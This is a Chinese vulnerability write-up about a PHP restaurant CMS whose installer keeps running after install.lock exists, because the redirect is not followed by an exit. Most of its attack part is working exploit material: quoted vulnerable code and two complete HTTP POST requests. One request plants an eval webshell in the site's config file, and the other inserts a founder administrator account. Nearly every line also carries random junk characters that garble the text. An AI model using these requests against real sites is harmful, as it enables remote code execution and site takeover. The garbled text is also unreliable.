问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
# }/ Z( M4 [$ m3 J# F( Y, `& W$ o+ F" c7 @
<?php) e# W' x( y$ S, q1 u3 q
if(file_exists("../install.lock"))) G2 ] ]2 Y) `7 }
{/ \; x, `+ z5 P1 x
header("Location: ../");//没有退出1 R W, c! }" m% B7 Q/ f
}
5 S; A; c+ y- W R( q- N
' ^$ Z1 L1 Y# t7 h- p1 N6 V//echo 'tst';exit;- i6 l- t! b( w, E
require_once("init.php");
7 c ~* {& f$ V& Y7 Q2 @2 kif(empty($_REQUEST['step']) || $_REQUEST['step']==1)( s$ B% L: U! j. u# A% a( E6 _
{/ A% n$ r9 H5 g; p! z
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。. b7 `5 a: k4 H# N" Q4 W
0 T6 K- m5 x9 O, {6 w+ n+ v4 c0 ?4 u% {1、getshell(很危险)6 j; O9 n) b* ]
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
0 G' q0 _/ T6 J% l2 k{
4 n" ~3 i0 @( y0 _( U- A+ M$smarty->assign("step",1);+ x0 m. a$ x2 h3 V7 n
$smarty->display("index.html");! d& W9 F7 R" }5 a# a
}elseif($_REQUEST['step']==2)
6 h& h3 b g! o& w& [{0 N- M/ `" P* Y1 ^+ c
$mysql_host=trim($_POST['mysql_host']);& A" Z2 S# U- W" [
$mysql_user=trim($_POST['mysql_user']);
4 I$ V0 A, ~3 K& e6 Z $mysql_pwd=trim($_POST['mysql_pwd']);
4 @3 u) u& Y) B- G $mysql_db=trim($_POST['mysql_db']);
" O) E0 F9 a- C' O. z+ p $tblpre=trim($_POST['tblpre']);+ y, o& D$ F1 o+ R5 S2 {
$domain==trim($_POST['domain']);
0 z* l& @/ V: p3 d% }& [6 p# _ $str="<?php \r\n";
+ h* V. ]8 N. `3 Q0 F0 H $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
: c2 j2 h8 U1 f0 | $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
# |/ x5 W% _% Q- Z0 S, f8 M $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";9 a, z5 g* V# D. ]( j- N
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
1 m) ^6 z Z( V, r $str.='define("MYSQL_CHARSET","GBK");'."\r\n";$ X M( u5 }+ U7 l0 v+ X
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";- ~4 y% F J' |/ l3 N) X
$str.='define("DOMAIN","'.$domain.'");'."\r\n";+ j' }4 K; e( U5 x; D; j; ]6 P9 n: v
$str.='define("SKINS","default");'."\r\n";
; M- J" V3 D. T" `+ y9 J $str.='?>';
$ z4 e: C8 ^! Y4 m, v file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
' Y9 \5 R! {7 L X7 n- L( g上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马- W4 o9 z1 I |2 P
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
/ y7 q- c8 ?5 A, ^% o. EHost: 192.168.80.1298 B# W2 \2 y& \4 d( W! N6 S
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0* o* T8 t& P0 e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) f$ a, M5 Y4 lAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
! \* M% `8 L( M! o* O( g1 sAccept-Encoding: gzip, deflate
( d& O5 L$ K" S) j, TReferer: http://192.168.80.129/canting/install/index.php?step=1
1 g8 I% u6 [: F9 z1 R+ BCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc421 w: f3 a( ?' b& D) G
Content-Type: application/x-www-form-urlencoded
% Z" ~ v( h, W- VContent-Length: 126
- |: ?. z; y! L# [. o1 C9 h# V
# m ]0 [% Z7 }) Q' r9 ]$ {1 Umysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD" ?) @6 _, z2 ?) T
但是这个方法很危险,将导致网站无法运行。7 P2 c4 o# Q1 y# [0 X) F% e# d
( Y5 z" y( K0 H3 W% g# y8 C, U
2、直接添加管理员, C/ G, `# n3 U( f1 N# o
6 L1 H' t( s1 b1 I! z, C
elseif($_REQUEST['step']==5)* p& Q+ C5 k; `# ^$ O
{
8 T% w- N5 x1 `, R if($_POST)
0 Y* ]; G" y9 N { require_once("../config/config.inc.php");
% g: d% X: [( a0 O4 V $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
0 e, A4 i- F& X& f* ^0 X0 R7 Y mysql_select_db(MYSQL_DB,$link); c. b# j: Y9 u* k8 K/ ]7 h4 C
mysql_query("SET NAMES ".MYSQL_CHARSET );; M" M3 t( r: |5 q
mysql_query("SET sql_mode=''");
% t, H2 Z. P" L0 k6 ^. N3 k5 c+ ^6 Q" K, `! V6 u2 d
$adminname=trim($_POST['adminname']);. d" t4 f/ h7 `( k
$pwd1=trim($_POST['pwd1']);
, m9 W) i. a* w( A8 [. _* i $pwd2=trim($_POST['pwd2']);# `# G( ?2 i. d
if(empty($adminname))
2 v* N B& H% Y; s {
/ r& L. K9 H1 l
6 _& b, S& f8 q4 |5 ]0 h echo "<script>alert('管理员不能为空');history.go(-1);</script>";
9 A; Q2 O" P& y( b4 O4 X# f% M exit(); g; X5 X7 P- v
}: l, q4 L# S, g
if(($pwd1!=$pwd2) or empty($pwd1))! ]" L! z I; j# P* I1 L
{8 P4 H" D# g7 ]( K1 G2 ^# S4 N
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
3 q3 F# l4 B O5 w1 _6 v1 p/ { }/ H2 N; b6 A# n0 n2 A
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员+ F, b) U$ d) R0 w5 b* h. K
}
+ r$ R* @# s4 p. h这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:* U! l: R; y5 J) J7 m( r9 d
POST /canting/install/index.php?m=index&step=5 HTTP/1.16 w- |* r% d, g. E2 z0 U
Host: 192.168.80.129. q% f3 q- g: y$ T7 T! v% L
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.07 P$ L# h( U0 o
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 y+ `! C! K# G7 }( |) ~3 hAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.38 X) h+ X: J2 L! [5 ~0 @- a
Accept-Encoding: gzip, deflate
2 ]% @" G r* \9 s- ]( HReferer: http://www.2cto.com /canting/install/index.php?step=1% z: z7 i1 Y) F% M8 A. F; C
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( B* A. t3 L8 m0 QContent-Type: application/x-www-form-urlencoded: ]$ B" G# ]7 \6 D; Z
Content-Length: 46
5 u. I4 E; ~0 D% h- G# u
3 O6 R. u9 L9 s; Padminname=qingshen&pwd1=qingshen&pwd2=qingshen
7 V1 ^. n5 O. s- ?& _$ ~ |